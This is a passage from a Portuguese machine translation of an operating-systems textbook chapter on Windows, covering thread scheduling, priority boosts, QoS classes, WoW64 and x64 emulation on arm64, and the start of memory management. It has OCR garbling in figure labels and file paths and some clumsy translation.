protege os dados do hive contra possível corrupção devido a bugs nos drivers. 


2. Compressão de Memória: O componente de compressão de memória usa um processo 
mínimo chamado "Compressão de Memória" para armazenar seus dados 
compactados. Assim como o registro, o objetivo é evitar a corrupção. 

Além disso, ter seu próprio processo permite definir políticas por processo, como 


limites de conjunto de trabalho. Discutiremos a compactação de memória com mais 
detalhes na Seção. 11.5. 
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3. Partições de memória: Uma partição de memória representa um subconjunto de memória 
com sua própria instância isolada de gerenciamento de memória. Ele é usado para 
subdividir a memória para fins dedicados e para executar cargas de trabalho isoladas que 
não devem interferir entre si devido aos mecanismos de gerenciamento de memória. 

Cada partição de memória vem com seu processo mínimo de sistema, chamado 
“PartitionSystem”, no qual o gerenciador de memória pode mapear executáveis que estão 
sendo carregados naquela partição. Abordaremos as partições de memória na Seção. 11.5. 


Agendamento 


O kernel do Windows não usa um thread de agendamento central. Em vez disso, quando um thread 
não pode mais ser executado, o thread é direcionado para o agendador para ver para qual thread alternar. 
As condições a seguir invocam o agendamento. 


1. Um thread em execução é bloqueado em uma E/S, bloqueio, evento, semáforo, etc. 
2. A thread sinaliza um objeto (por exemplo, chama SetEvent em um evento). 
3. O quantum expira. 


No caso 1, a thread já está no kernel para realizar a operação no despachante ou objeto de E/S. Ele não 
pode continuar, então ele chama o código do agendador para escolher seu sucessor e carregar o registro 
CONTEXT desse thread para continuar a executá-lo. 

No caso 2, o thread em execução também está no kernel. No entanto, depois de sinalizar algum 
objeto, ele pode definitivamente continuar porque a sinalização de um objeto nunca é bloqueada. 
Ainda assim, o thread é obrigado a chamar o escalonador para ver se o resultado de sua ação preparou 
um thread com uma prioridade de agendamento mais alta que agora está pronto para ser executado. Nesse 
caso, ocorre uma troca de thread, pois o Windows é totalmente preemptivo (ou seja, as trocas de thread 
podem ocorrer a qualquer momento, não apenas no final do quantum do thread atual). Entretanto, se 
múltiplas CPUs estiverem presentes, uma thread que foi preparada pode ser escalonada em uma CPU 
diferente e a thread original pode continuar a ser executada na CPU atual mesmo que sua prioridade de 
escalonamento seja menor. 

No caso 3, ocorre uma interrupção no modo kernel, momento em que o thread executa o código do 
escalonador para ver quem executa o próximo. Dependendo de quais outras threads estão aguardando, a 
mesma thread pode ser selecionada e, nesse caso, ela obtém um novo quantum e continua em execução. 


Caso contrário, ocorre uma troca de thread. 
O agendador também é chamado sob duas outras condições: 


1. Uma operação de E/S é concluída. 


2. Uma espera cronometrada expira. 


No primeiro caso, uma thread pode estar aguardando esta E/S e agora está liberada para execução. Uma 
verificação deve ser feita para ver se ele deve antecipar o thread em execução, uma vez que não há tempo 
de execução mínimo garantido. O agendador não é executado na interrupção 
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manipulador em si (já que isso pode manter as interrupções desativadas por muito tempo). Em vez 
disso, um DPC é colocado na fila um pouco mais tarde, após a conclusão do manipulador de 
interrupção. No segundo caso, um thread desativou um semáforo ou bloqueou algum outro objeto, 
mas com um tempo limite que já expirou. Novamente, é necessário que o manipulador de 
interrupções enfileire um DPC para evitar que ele seja executado durante o manipulador de 
interrupções do relógio. Se um thread estiver pronto nesse tempo limite, o agendador será 
executado. Se o thread nable recém-executado tiver prioridade mais alta, o thread atual será preemptado como no c 

Agora chegamos ao algoritmo de escalonamento real. A API Win32 fornece duas APIs para 
influenciar o agendamento de threads. Primeiro, há uma chamada SetPriorityClass que define a 
classe de prioridade de todos os threads no processo do chamador. Os valores permitidos são 
tempo real, alto, acima do normal, normal, abaixo do normal e inativo. A classe de prioridade 
determina as prioridades relativas dos processos. A classe de prioridade do processo também pode 
ser usada por um processo para se marcar temporariamente como plano de fundo, o que significa 
que não deve interferir em nenhuma outra atividade do sistema. Observe que a classe de prioridade 
é estabelecida para o processo, mas afeta a prioridade real de cada thread no processo, definindo 
uma prioridade básica com a qual cada thread inicia quando criado. 


A segunda API do Win32 é SetThreadPriority. Ele define a prioridade relativa de um thread 
(possivelmente, mas não necessariamente, o thread de chamada) em relação à classe de prioridade 
do seu processo. Os valores permitidos são tempo crítico, mais alto, acima do normal, normal, 
abaixo do normal, mais baixo e inativo. Threads de tempo crítico obtêm a prioridade de 
agendamento não em tempo real mais alta, enquanto threads ociosos obtêm a mais baixa, 
independentemente da classe de prioridade. Os demais valores de prioridade ajustam a prioridade 
base de um thread em relação ao valor normal determinado pela classe de prioridade (+2, +1,0,1, 
2, respectivamente). O uso de classes de prioridade e prioridades relativas de threads torna mais 
fácil para os aplicativos decidirem quais prioridades especificar. 

O agendador funciona da seguinte maneira. O sistema possui 32 prioridades, numeradas de 0 
a 31. As combinações de classe de prioridade e prioridade relativa são mapeadas em 32 prioridades 
absolutas de thread de acordo com a tabela da Figura 11.25. O número na tabela determina a 
prioridade básica do thread. Além disso, cada thread tem uma prioridade atual, que pode ser 
maior (mas não menor) que a prioridade base e que discutiremos em breve. 


Para usar essas prioridades para escalonamento, o sistema mantém uma matriz de 32 listas 
de threads, correspondendo às prioridades de 0 a 31 derivadas da tabela da Figura 11.25. Cada 
lista contém threads prontos na prioridade correspondente. O algoritmo de escalonamento básico 
consiste em pesquisar o array desde a prioridade 31 até a prioridade 0. Assim que uma lista não 
vazia é encontrada, o thread no topo da fila é selecionado e executado por um quantum. Se o 
quantum expirar, o thread vai para o final da fila em seu nível de prioridade e o thread da frente é 
escolhido em seguida. Em outras palavras, quando há vários threads prontos no nível de prioridade 
mais alto, eles executam round robin para um quantum cada. Se nenhum thread estiver pronto, o 
thread inativo será selecionado para execução para deixar o processador inativo - ou seja, configurá- 
lo para um estado de baixo consumo de energia aguardando a ocorrência de uma interrupção. 
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Prioridades de classe de processo Win32 
Acima Abaixo 
Tempo real Alto normal Normal ngrmal Inativo 
Tempo crítico 31 15 15 15 15 15 
Altíssima 26 15 12 10 8 6 
Win32 Acima do normal 25 14 11 9 7 5 
fio Normal 24 13 10 8 6 4 
prioridades Abaixo do normal 23 12 9 7 5 3 
Mais baixo 22 11 8 6 4 2 
Parado 16 1 1 1 1 1 


Figura 11-25. Mapeamento de prioridades do Win32 para prioridades do Windows. 


Deve-se notar que o agendamento é feito escolhendo um tópico sem levar em conta 
a qual processo esse thread pertence. Assim, o escalonador não escolhe primeiro um processo 
e então escolha um tópico nesse processo. Ele apenas olha para os tópicos. Ele não considera qual thread 
pertence a qual processo, exceto para determinar se ele também precisa 
alternar espaços de endereço ao alternar threads. 
Para melhorar a escalabilidade do algoritmo de escalonamento para multiprocessadores com 
um grande número de processadores, o escalonador particiona o conjunto global de processadores prontos 
threads em várias filas prontas separadas, cada uma com sua própria matriz de 32 listas. 
Essas filas prontas existem em dois formatos: filas prontas locais do processador, que estão associadas a um 
único processador, e filas prontas compartilhadas, que estão associadas a um único processador. 
grupos de processadores. Um tópico só é elegível para ser colocado em um tópico pronto compartilhado 
fila se for capaz de ser executado em todos os processadores associados à fila. Quando 
um processador precisa selecionar um novo thread para ser executado devido a um bloqueio de thread, ele primeiro 
consultar as filas prontas às quais está associado e consultar apenas filas prontas 
associado a outros processadores se nenhum thread candidato puder ser encontrado localmente. 
Como uma melhoria adicional, o escalonador se esforça para não ter que assumir o 
bloqueios que protegem o acesso às listas de filas prontas. Em vez disso, ele vê se pode diretamente 
despacha um thread que está pronto para ser executado para o processador onde ele deve ser executado 
do que adicioná-lo a uma fila pronta. 
Alguns sistemas multiprocessadores possuem topologias de memória complexas onde as CPUs 
têm sua própria memória local e podem executar programas e acessar dados 
fora da memória de outros processadores, isso tem um custo de desempenho. Esses sistemas 
são chamadas de máquinas NUMA (NonUniform Memory Access). Além disso, alguns 
sistemas multiprocessadores possuem hierarquias de cache complexas onde apenas alguns dos 
os núcleos do processador em uma CPU física compartilham um cache de último nível. O agendador está ciente 
dessas topologias complexas e tenta otimizar o posicionamento dos threads atribuindo 
cada thread é um processador ideal. O escalonador então tenta agendar cada thread para 
um processador que esteja o mais próximo possível topologicamente de seu processador ideal. Se um 


thread não pode ser agendada para um processador imediatamente, então ela será colocada em um 
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fila de prontos associada ao seu processador ideal, preferencialmente a fila de prontos compartilhada. 
Porém, se o thread for incapaz de rodar em alguns processadores associados a essa fila, por exemplo 
devido a uma restrição de afinidade, ele será colocado na fila de prontidão local do processador ideal. 
O gerenciador de memória também utiliza o processador ideal para determinar quais páginas físicas 
devem ser alocadas para satisfazer falhas de página, preferindo escolher páginas do nó NUMA 
pertencente ao processador ideal do thread com falha. 


A matriz de cabeçalhos de fila é mostrada na Figura 11.26. A figura mostra que existem, na 
verdade, quatro categorias de prioridades: tempo real, usuário, zero e ocioso, que é efetivamente 1. 
Elas merecem alguns comentários. As prioridades 16 a 31 são chamadas de sistema e destinam-se a 
construir sistemas que satisfaçam restrições de tempo real, como prazos necessários para 
apresentações multimídia. Threads com prioridades em tempo real são executados antes de qualquer 
um dos threads com prioridades dinâmicas, mas não antes de DPCs e ISRs. Se um aplicativo em 
tempo real quiser ser executado no sistema, poderá exigir drivers de dispositivo que tomem cuidado 
para não executar DPCs ou ISRs por muito tempo, pois isso pode fazer com que os threads em tempo 


real percam seus prazos. 


Prioridade 


Próximo tópico a ser executado 


Prioridades < 
do sistema 


Tópico de página zero 


Tópico ocioso 


Figura 11-26. O Windows oferece suporte a 32 prioridades para threads. 


Usuários comuns não podem criar threads em tempo real. Se um thread de usuário fosse 
executado com uma prioridade mais alta do que, digamos, o thread do teclado ou do mouse e entrasse 
em um loop, o thread do teclado ou do mouse nunca seria executado, travando efetivamente o sistema. 
O direito de definir a classe de prioridade para tempo real requer que um privilégio especial seja 
habilitado no token do processo. Usuários normais não têm esse privilégio. 

Threads de aplicativos normalmente são executados nas prioridades 1—15. Ao definir as 
prioridades do processo e do thread, um aplicativo pode determinar quais threads terão preferência. O 
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Threads do sistema ZeroPage são executados com prioridade O e convertem páginas livres em páginas 
com zeros. Existe um thread ZeroPage separado para cada processador real. 

Cada thread tem uma prioridade básica baseada na classe de prioridade do processo e na prioridade 
relativa do thread. Mas a prioridade usada para determinar em qual das 32 listas um thread pronto está 
enfileirado é determinada pela sua prioridade atual, que normalmente é a mesma que a prioridade base — 
mas nem sempre. Sob certas condições, a prioridade atual de uma thread é ajustada pelo kernel acima de 
sua prioridade base. Como a matriz da Figura 11.26 é baseada na prioridade atual, a alteração dessa 
prioridade afeta o escalonamento. Esses ajustes de prioridade podem ser classificados em dois tipos: 
reforço de prioridade e pisos de prioridade. 


Primeiro, vamos discutir os aumentos de prioridade. Boosts são ajustes temporários na prioridade 
do thread e geralmente são aplicados quando um thread entra no estado pronto. Por exemplo, quando uma 
operação de E/S é concluída e libera um thread em espera, a prioridade é aumentada para dar-lhe a 
chance de ser executada novamente rapidamente e iniciar mais E/S. A ideia aqui é manter os dispositivos 
de E/S ocupados. A quantidade de reforço depende do dispositivo de E/S, normalmente 1 para um disco, 

2 para uma linha serial, 6 para o teclado e 8 para a placa de som. 


Da mesma forma, se um thread estava aguardando um semáforo, mutex ou outro evento, quando for 
liberado, ele será aumentado em dois níveis se estiver no processo de primeiro plano (o processo que 
controla a janela para a qual a entrada do teclado é enviada) e um nível caso contrário. Essa correção tende 
a elevar os processos interativos acima da grande multidão no nível 8. Finalmente, se um thread da GUI for 
ativado porque a entrada da janela agora está disponível, ele receberá um impulso pelo mesmo motivo. 


Esses impulsos não são para sempre. Eles entram em vigor imediatamente e podem causar o 
reescalonamento da CPU. Mas se um thread usar todo o seu próximo quantum, ele perderá um nível de 
prioridade e descerá uma fila na matriz de prioridade. Se consumir outro quantum completo, ele desce outro 
nível e assim por diante até atingir seu nível base, onde permanece até ser impulsionado novamente. Um 
encadeamento não pode ser impulsionado para dentro ou dentro da faixa de prioridade em tempo real, 
encadeamentos que não sejam em tempo real podem ser impulsionados para no máximo uma prioridade 
de 15 e encadeamentos em tempo real não podem ser impulsionados de forma alguma. 

A segunda classe de ajuste prioritário é um piso prioritário. Ao contrário dos boosts que aplicam um 
ajuste relativo à prioridade básica de um thread, os pisos de prioridade aplicam uma restrição de que a 
prioridade atual absoluta de um thread nunca deve cair abaixo de uma determinada prioridade mínima. Esta 
restrição não está vinculada ao quantum do thread e persiste até ser explicitamente removida. 


Um caso em que são usados pisos prioritários é ilustrado na Figura 11.27. Imagine que em uma 
máquina com processador único, um thread T1 em execução no modo kernel com prioridade 4 é preterido 
por um thread T2 de prioridade 8 após adquirir um pushlock. Então, um thread T3 de prioridade 12 chega, 
antecipa T2 e bloqueia a tentativa de adquirir o pushlock mantido por T1. Neste ponto, tanto T1 quanto T2 
são executáveis, mas T2 tem prioridade mais alta, então ele continua em execução mesmo que esteja 
efetivamente impedindo T3, um encadeamento de prioridade mais alta, de progredir porque T1 não é capaz 
de executar para liberar o pushlock. 

Esta situação é um problema muito conhecido denominado inversão de prioridade. janelas 
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T3: Blocked 


Waiting on the pushlock 


T2: Running Pushlock 


4 
4 


Would like to release 
T1: Ready © the pushlock, but 
never gets scheduled 


Figura 11-27. Um exemplo de inversão de prioridade. 


aborda a inversão de prioridade entre threads do kernel através de um recurso no thread 
agendador chamado Autoboost. O Autoboost rastreia automaticamente dependências de recursos entre 
threads e aplica níveis de prioridade para aumentar a prioridade de agendamento de 
threads que contêm recursos necessários para threads de maior prioridade. Neste caso, o Auto boost 
determinaria que o proprietário do pushlock precisa ser elevado ao nível 
prioridade máxima dos empregados de mesa, pelo que aplicaria um piso de prioridade de 12 ao T1 até 
libera o bloqueio, resolvendo assim a inversão. 

Em alguns sistemas multiprocessadores, existem vários tipos de processadores com 
características variadas de desempenho e eficiência. Nestes sistemas com processadores heterogêneos, o 
escalonador deve considerar essas variações de desempenho e 
características de eficiência em consideração para tomar decisões de programação ótimas. O kernel do 
Windows faz isso através de uma propriedade de agendamento de thread chamada 
a classe QoS (classe Qualidade de Serviço), que classifica threads com base em seus 
importância para o usuário e seus requisitos de desempenho. Windows define seis 
Classes de QosS: alta, média, baixa, eco, multimídia e prazo. Em geral, os fios 
com uma classe de QoS mais alta são threads que são mais importantes para o usuário e, portanto, 
requerem maior desempenho, por exemplo, threads que pertencem a um processo que está em 
o primeiro plano. Threads com uma classe de QoS mais baixa são threads menos importantes 
e favorecem a eficiência em detrimento do desempenho, por exemplo, threads que executam trabalhos de 
manutenção em segundo plano. A classificação dos threads em níveis de QoS é feita pelo 
escalonador através de uma série de heurísticas considerando atributos como se um 
thread pertence a um processo com uma janela em primeiro plano ou pertence a um processo que 
está reproduzindo áudio. Os aplicativos também podem fornecer processos explícitos e nível de thread 
dicas sobre sua importância por meio das APIs SetProcessinformation e SetThreadInformation Win32. Da 
classe de QoS do thread, o escalonador deriva vários outros 
propriedades de agendamento específicas com base na política de energia do sistema. 

Em primeiro lugar, a política de energia do sistema pode ser configurada para restringir o trabalho a um 
tipo específico de processador. Por exemplo, o sistema pode ser configurado para permitir baixa 
O trabalho de QoS é executado apenas nos processadores mais eficientes do sistema, a fim de 
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alcançar a máxima eficiência para este trabalho em detrimento do desempenho. Essas restrições 
são consideradas pelo escalonador ao decidir para qual processador uma thread deve ser escalonada. 


Em segundo lugar, a QoS de um thread determina se ele prefere escalonamento para 
desempenho ou eficiência. O escalonador mantém duas classificações dos processadores do 
sistema: uma em ordem de desempenho e outra em ordem de eficiência. A política de energia do 
sistema determina qual dessas ordenações deve ser usada pelo escalonador para cada classe de 
QoS quando ele está procurando por um processador ocioso no qual executar um thread. 


Finalmente, a QoS de um thread determina quão importante é o desejo de desempenho ou 
eficiência de um thread em relação a outros threads com QoS diferentes. Essa ordem de importância 
é usada para determinar quais threads têm acesso aos processadores de maior desempenho no 
sistema quando os núcleos de maior desempenho são superutilizados. 

Observe que isso é diferente da prioridade de um thread, pois a prioridade do thread determina o 
conjunto de threads que serão executados em um determinado momento, enquanto a importância 
controla quais dos threads desse conjunto receberão seu posicionamento preferido. Isto é conseguido 
através de uma política de agendamento conhecida como negociação principal. Se um thread que 
prefere desempenho estiver sendo escalonado e o escalonador não conseguir encontrar um 
processador ocioso de alto desempenho, mas for capaz de localizar um processador de baixo 
desempenho, o escalonador verificará se um dos processadores de alto desempenho está 
executando um processador de baixo desempenho. tópico de importância. Nesse caso, ele trocará 

as atribuições do processador para colocar o thread de maior importância no processador de maior 
desempenho e colocar o thread de menor importância no processador de menor desempenho. 

O Windows é executado em PCs, que geralmente possuem apenas uma sessão interativa ativa 
por vez. No entanto, o Windows também suporta um modo de servidor de terminal que suporta 
múltiplas sessões interativas na rede usando o protocolo de área de trabalho remota. Ao executar 
várias sessões de usuário, é fácil para um usuário interferir em outro, consumindo muitos recursos 
do processador. O Windows implementa um algoritmo de compartilhamento justo, DFSS (Dynamic 
Fair-Share Scheduling), que evita que as sessões sejam executadas excessivamente. O DFSS 
usa grupos de agendamento para organizar os threads em cada sessão. Dentro de cada grupo, os 
threads são agendados de acordo com as políticas normais de agendamento do Windows, mas cada 
grupo recebe mais ou menos acesso aos processadores com base no tempo de execução agregado 
do grupo. As prioridades relativas dos grupos são ajustadas lentamente para permitir ignorar curtos 
surtos de atividade e reduzir a quantidade que um grupo pode executar somente se usar tempo 
excessivo do processador durante longos períodos. 


11.4.4 WoW64 e emulação 


A compatibilidade de aplicativos sempre foi a marca registrada do Windows para manter e 
aumentar sua base de usuários e desenvolvedores. À medida que o hardware evolui e o Windows é 
portado para novas arquiteturas de processador, manter a capacidade de executar o software 
existente tem sido consistentemente importante para os clientes (e, portanto, para a Microsoft). Por esta 
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razão, a versão de 64 bits do Windows XP, lançada em 2001, incluía WoW64 

(Windows-on-Windows), uma camada de emulação para executar aplicativos de 32 bits não modificados em 
Windows de 64 bits. OriginalO, WoW64 só executou aplicativos x86 de 32 bits em 

IA-64 e depois x64, mas o Windows 10 expandiu ainda mais o escopo do WoW64 para execução 
Aplicativos ARM de 32 bits, bem como aplicativos x86 em arm64. 


Projeto WoW64 


Em sua essência, o WoW64 é uma camada de paravirtualização que faz com que o aplicativo de 32 bits 
acredite que está sendo executado em um sistema de 32 bits. Nesse contexto, a arquitetura de 32 bits é 
chamada de convidado e o sistema operacional de 64 bits é o host. Essa virtualização poderia 
foram feitos usando uma máquina virtual com Windows completo de 32 bits em execução. 

Na verdade, o Windows 7 tinha um recurso chamado Modo XP que fazia exatamente isso. No entanto, 
abordagens baseadas em máquinas virtuais são muito mais caras devido à memória 

e sobrecarga de CPU ao executar dois sistemas operacionais. Também escondendo todas as costuras 

entre os sistemas operacionais e fazendo com que o usuário sinta que está usando um único 

sistema operacional é difícil. Em vez disso, o WoW64 emula um sistema de 32 bits na camada de chamada do 
sistema, no modo de usuário. O aplicativo e todas as suas dependências de 32 bits são carregados 

e execute normalmente. Suas chamadas de sistema são redirecionadas para a camada WoW64, que as 
converte para 64 bits e faz a chamada de sistema real através do host ntdlll. dll. 

Isso essencialmente elimina toda a sobrecarga e o código do modo kernel de 64 bits é amplamente 
desconhece a emulação de 32 bits; ele é executado como qualquer outro processo. 

A Figura 11-28 mostra a composição de um processo WoW64 e as camadas do WoW64 em comparação 
com um processo nativo de 64 bits. Os processos WoW64 contêm 32 bits 
código para o convidado (composto por aplicativos e binários de sistema operacional de 32 bits) e 64 bits 
código nativo para a camada WoW64 e ntdll.dll. No momento da criação do processo, o kernel 
prepara o espaço de endereço semelhante ao que faria um sistema operacional de 32 bits. Versões de 32 bits de 
estruturas de dados como PEB e TEB são criadas e o WoW64 de 32 bits compatível 


ntdll.dll é mapeado no processo junto com o executável do aplicativo de 32 bits. 

Cada thread tem uma pilha de 32 bits e uma pilha de 64 bits que são alternadas durante a transição entre as 

duas camadas (da mesma forma que a entrada no modo kernel muda para 

pilha do kernel do thread e vice-versa). Todos os componentes e estruturas de dados de 32 bits usam 

os poucos 4 GB do espaço de endereço do processo para que todos os endereços caibam nos ponteiros de convidados. 
A camada nativa fica abaixo do código convidado e é composta por DLLs WoW64 

bem como o ntdll.dll nativo e os PEB e TEBs normais de 64 bits. Esta camada 

atua efetivamente como o kernel de 32 bits para o convidado. Existem duas categorias de 

DLLs WoW64: a camada de abstração WoW64 (wow64.dll, wow64base.dill e 

wow64win.dll) e a camada de emulação de CPU. A camada de abstração WoW64 é 

em grande parte independente de plataforma e atua como camada de conversão, que recebe dados de 32 bits 

chamadas do sistema e as converte em chamadas de 64 bits, levando em consideração as diferenças nos tipos 

e layout da estrutura. Algumas das chamadas de sistema mais simples que não precisam de extensas 

conversão de tipo passa por um caminho otimizado chamado Turbo Thunks na CPU 

camada de emulação para fazer chamadas diretas do sistema para o kernel. Caso contrário, wow64.dll 
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Windows Kernel and Drivers 


Figura 11-28. Processos nativos vs. WoW64 em uma máquina arm64. As áreas sombreadas 
indicam código emulado. 


lida com chamadas do sistema NT e wow64win.dll lida com chamadas do sistema que chegam 
ao win32k.sys. O despacho de exceções também é conduzido por esta camada, que traduz o 
registro de exceção de 64 bits gerado pelo kernel para 32 bits e despacha para o convidado 
ntdll.dil. Finalmente, a camada de abstração WoW64 realiza a reorientação do namespace 
necessária para aplicativos de 32 bits. Por exemplo, quando um aplicativo de 32 bits acessa 
c:\Windows\System32, ele é redirecionado para c:|WindowsiSys WoW64 ou c: 
\Windows\SysArm32 conforme apropriado. Da mesma forma, alguns caminhos de registro, 
por exemplo, aqueles na seção SOFTWARE, são redirecionados para uma subchave chamada 
WoW6432Node ou WoWAA32Node, para x64 ou arm64, respectivamente. Dessa forma, se 
as versões de 32 e 64 bits do mesmo componente forem executadas, elas não substituirão o 
estado do registro uma da outra. 
A camada de emulação da CPU WoW64 depende muito da arquitetura. Sua função é 
executar o código de máquina para a arquitetura convidada. Em muitos casos, a CPU host 
pode realmente executar instruções de convidado após passar por uma troca de modo. 
Portanto, ao executar código x86 em x64 ou código arm32 em arm64, a camada de emulação 
de CPU só precisa alternar o modo de CPU e começar a executar o código convidado. Isso é 
o que wow64cpu.dile wow armhw.dil fazem. No entanto, isso não é possível ao executar um 
convidado x86 no arm64. Nesse caso, a camada de emulação da CPU (xtajit.dll) precisa 
realizar a tradução binária para analisar e emular instruções x86. Embora existam muitas 
estratégias de emulação, xtajit.dll executa jitting, ou seja, geração just-in-time de código nativo 
a partir de instruções de convidado. Além disso, xtajit. dll se comunica com um serviço NT 
chamado XtaCache para persistir o código modificado no disco, de modo que possa evitar a 
repetição do mesmo código quando o binário convidado for executado novamente. 
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Conforme mencionado anteriormente, os convidados do WoW64 são executados com versões convidadas de binários do sistema operacional 
que residem nos diretórios SysWoW64 para (x86) ou SysArm32 (arm32) em cAWin dows. Do ponto de vista 
do desempenho, tudo bem se a CPU host puder executar 
instruções do convidado, mas quando o jitting é necessário, é necessário jit e armazenar em cache os binários do sistema operacional 
não é o ideal. Uma abordagem melhor poderia ter sido pré-preparar esses binários de sistema operacional e enviar 
eles com o sistema operacional. Isso ainda não é ideal porque jiting as instruções arm64 do x86 
instruções perde muito do contexto que existe no código-fonte e resulta em código abaixo do ideal devido 
às diferenças arquitetônicas entre x86 e arm64. Para 
por exemplo, o modelo de memória fortemente ordenada do x86 versus a memória fraca 
model ou arm64 força o jitter a adicionar pessimistamente uma barreira de memória cara 
instruções. 

Uma opção muito melhor é aprimorar o conjunto de ferramentas do compilador para pré-compilar o 
Binários do sistema operacional do código-fonte para arm64 diretamente, mas de forma compatível com x86. 
Isso significa que o compilador usa tipos e estruturas x86, mas gera arm64 
instruções junto com conversões para realizar ajustes de convenção de chamada para chamadas 
de e para o código x86. Por exemplo, cnamadas de função x86 geralmente passam parâmetros 
na pilha, enquanto a convenção de chamada arm64 os espera nos registros. Qualquer 
O código assembly x86 está vinculado ao binário como está. Esses tipos de binários contendo código 
arm64 compatível com x86 e código x86 são chamados CHPE. 

(Executável Híbrido Portátil Compilado) . Eles são armazenados em ciWin dowsiSyChpe32 e são 
carregados sempre que o aplicativo x86 tenta carregar uma DLL 

do SysWoW64, proporcionando melhor desempenho ao eliminar quase completamente a emulação do 
código do sistema operacional. A Figura 11-28 mostra DLLs CHPE no endereço 

espaço do processo x86 emulado em uma máquina arm64. 


Emulação x64 em arm64 


A primeira versão arm64 do Windows 10 em 2017 suportava apenas emulação 
Programas x86 de 32 bits. Embora a maioria dos softwares Windows tenha uma versão de 32 bits, um 
número crescente de aplicativos populares, especialmente jogos, só estão disponíveis como 
x64. Por esse motivo, a Microsoft adicionou suporte para emulação x64-on-arm64 no Windows 11. É 
bastante notável que seja possível executar x86, x64, arm32 e arm64. 
aplicativos na versão arm64 do Windows 11. 

Existem muitas semelhanças entre como a emulação é implementada para x86 
e arquiteturas convidadas x64, conforme mostrado na Figura 11.29. Emulação de instrução ainda 
acontece por meio de um jitter, xtajit64.dll, que foi portado para suportar máquina x64 
código. Como um determinado processo não pode ter código x86 e x64, xtajit.dll ou 
xtajit64.dll é carregado, conforme apropriado. O código Jitted é persistido através do XtaCache NT 
serviço, como antes. Os binários do sistema operacional em modo de usuário destinados a serem carregados em processos x64 são 
construído usando uma interface binária híbrida semelhante ao CHPE, chamada ARM64EC ARM 64 
Compatível com emulação. Os binários ARM64EC contêm código de máquina arm64, compilado usando 
tipos x64 e comportamentos com conversões para realizar convenções de chamada 
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ajustes. Como tal, além do código assembly x64 que pode ser vinculado a esses binários, 
não há necessidade de qualquer emulação de instruções e eles são executados em 
velocidade nativa. 


x86 Process x64 Process 
32-bit Application | x64 Application 

© m 
8 E 
9 5 
E il = E 
g 32-bit app and x64 app DLLs x 
g OS DLLs g 
b-i O 
k Ò 
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E D 
us 

Sr CHPE Ntdll.dil CHPE DLLs ||] ARM64X DLLs TT amaos ||| E 
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G| | CPU Emulation Layer Jitted Code 5 
g xtajit.cil) Jitted 2 
5 Code ; o 
Z| | WoW64 Abstraction Layer CPU Emulation Layer 
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ARM64X Ntdll.dll | ARM64X Ntdll.dll | 
User 
Kernel 
Windows Kernel and Drivers 


Figura 11-29. Comparação da infraestrutura de emulação x86 e x64 em uma máquina 
arm64. As áreas sombreadas indicam código emulado. 


Existem também algumas grandes diferenças entre a emulação x86 e x64. Em primeiro 
lugar, a emulação x64 não depende da infraestrutura WoW64 porque não é necessário 
nenhum processamento ou redirecionamento de sistema de arquivos ou caminhos de registro 
de 32 a 64 bits; esses já são aplicativos de 64 bits e usam tipos e estruturas de dados de 64 
bits. Na verdade, os binários ARM64EC que não contêm nenhum código x64 podem ser 
executados como binários arm64 nativos, sem intervenção do emulador; ARM64EC é 
efetivamente uma segunda arquitetura nativa suportada em arm64. A função restante da 
camada de abstração WoW64 foi movida para ARM64EC ntdll.dll , que carrega em processos 
x64. Este ntdll é projetado para permitir o carregamento de binários x64 e invocar o jitter 
xtajit64 para emular o código de máquina x64. 

Neste ponto, leitores cuidadosos podem estar se perguntando: dado que não existe 
redirecionamento de sistema de arquivos para aplicativos x64 em arm64, um processo x64 
não acabaria carregando a DLL nativa arm64 se, por exemplo, tentasse carregar ciwin 
dows \system32\kernelbase.dll? A resposta é sim e não. Sim, o processo x64 carregará o 
kernelbase.dll no diretório system32 (que normalmente contém binários nativos), mas a DLL 
será transformada na memória dependendo se for carregada em um processo x64 ou 
arm64. Isso é possível porque arm64 usa um novo tipo de binário executável portátil (PE) 


chamado ARM64X para binários de sistema operacional em modo de usuário. Os binários 
ARM64X também contêm código arm64 nativo 
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como código compatível com x64 (código de máquina ARM64EC ou x64) e os metadados necessários para 
alternar entre as duas personalidades. No disco, esses arquivos parecem normais 
Binários arm64 nativos: o campo tipo de máquina no cabeçalho PE indica arm64 e 
tabelas de exportação apontam para o código arm64 nativo. No entanto, quando este binário é carregado em 
um processo x64, o gerenciador de memória do kernel transforma a visão do processo do 
binário aplicando modificações descritas pelos metadados semelhantes à forma como as correções de 
realocação são executadas. O campo do tipo de máquina do cabeçalho PE, os campos de exportação e importação 
ponteiros de tabela são ajustados para fazer o binário aparecer como um binário ARM64EC para 
o processo. 

Além de ajudar a eliminar o redirecionamento do sistema de arquivos, os binários ARM64X oferecem 
outro benefício significativo. Para a maioria das funções compiladas no binário, o 
compilador arm64 nativo e o compilador ARM64EC gerarão arm64 idêntico 
instruções da máquina. Esse código pode ter uma instância única no binário ARM64X 
em vez de serem armazenadas como duas cópias, reduzindo assim o tamanho binário e permitindo que as 


mesmas páginas de código sejam compartilhadas na memória entre arm64 e x64 proc 
esses. 


11.5 GERENCIAMENTO DE MEMÓRIA 


O Windows possui um sistema de memória virtual extremamente sofisticado e complexo. 
Ele possui diversas funções Win32 para uso, implementadas pelo gerenciador de memória — o maior 
componente do NTOS. Nas seções seguintes, veremos 
os conceitos fundamentais, as chamadas da API Win32 e, finalmente, a implementação. 


11.5.1 Conceitos Fundamentais 


Como o Windows 11 suporta apenas máquinas de 64 bits, este capítulo irá apenas 
considere processos de 64 bits em máquinas de 64 bits. Emulação de 32 bits em máquinas de 64 bits 
foi descrito na seção WoW64 anteriormente. 

No Windows, cada processo de usuário tem seu próprio espaço de endereço virtual, dividido igualmente 
entre o modo kernel e o modo de usuário. Os processadores atuais de 64 bits geralmente implementam 48 bits 
de endereços virtuais, resultando em um espaço de endereço total de 256 TB. Quando 
Se os endereços completos de 64 bits não forem implementados, o hardware exige que todos os bits não 
implementados sejam iguais ao bit implementado mais alto. Endereços neste formato são chamados canônicos. 
Essa abordagem ajuda a garantir que os aplicativos e os sistemas operacionais não dependam do 
armazenamento de informações nesses bits para tornar possível a expansão futura. Do espaço de endereço 
de 256 TB, o modo de usuário ocupa os 128 TB mais baixos, 

o modo kernel ocupa os 128 TB superiores. Mesmo que isso possa parecer muito grande, um 
A parte não trivial já está reservada para diversas categorias de dados, mitigações de segurança e também 
para otimizações de desempenho. 

Nos processadores atuais de 64 bits, os 48 bits dos endereços virtuais são mapeados usando 
um esquema de tabela de páginas de 4 níveis em que cada tabela de páginas tem 4 KB de tamanho e cada PTE 
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64-bit Virtual Address 


63 42 ag 30 21 12 o 
Canonical Bits PXE Index PPE Index PDE Index PTE Index Byte Offset 


9 bits 8 oits 


